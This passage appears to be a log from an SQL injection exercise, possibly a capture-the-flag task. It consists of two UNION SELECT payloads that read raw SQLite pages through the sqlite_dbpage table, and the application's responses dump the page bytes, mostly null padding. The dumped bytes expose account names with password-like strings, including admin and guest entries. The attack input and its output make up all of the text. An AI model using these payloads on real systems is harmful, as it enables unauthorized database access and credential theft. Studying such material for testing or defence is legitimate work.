x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x03\x03\x17-adminfb8fe2baa0190046\x10\x02\x03\x17\x1dguestpassword\x11\x01\x03\x19\x1dalpacapacapaca&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=3 --
Hello, b&amp;#39;\n\x00\x00\x00\x03\x0f\xe2\x00\x0f\xe2\x0f\xf6\x0f\xec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x03\x17\x01admin\x03\t\x03\x17\x01guest\x02\t\x03\x19\talpaca&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=4 --
Hello, b&amp;#39;\r\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00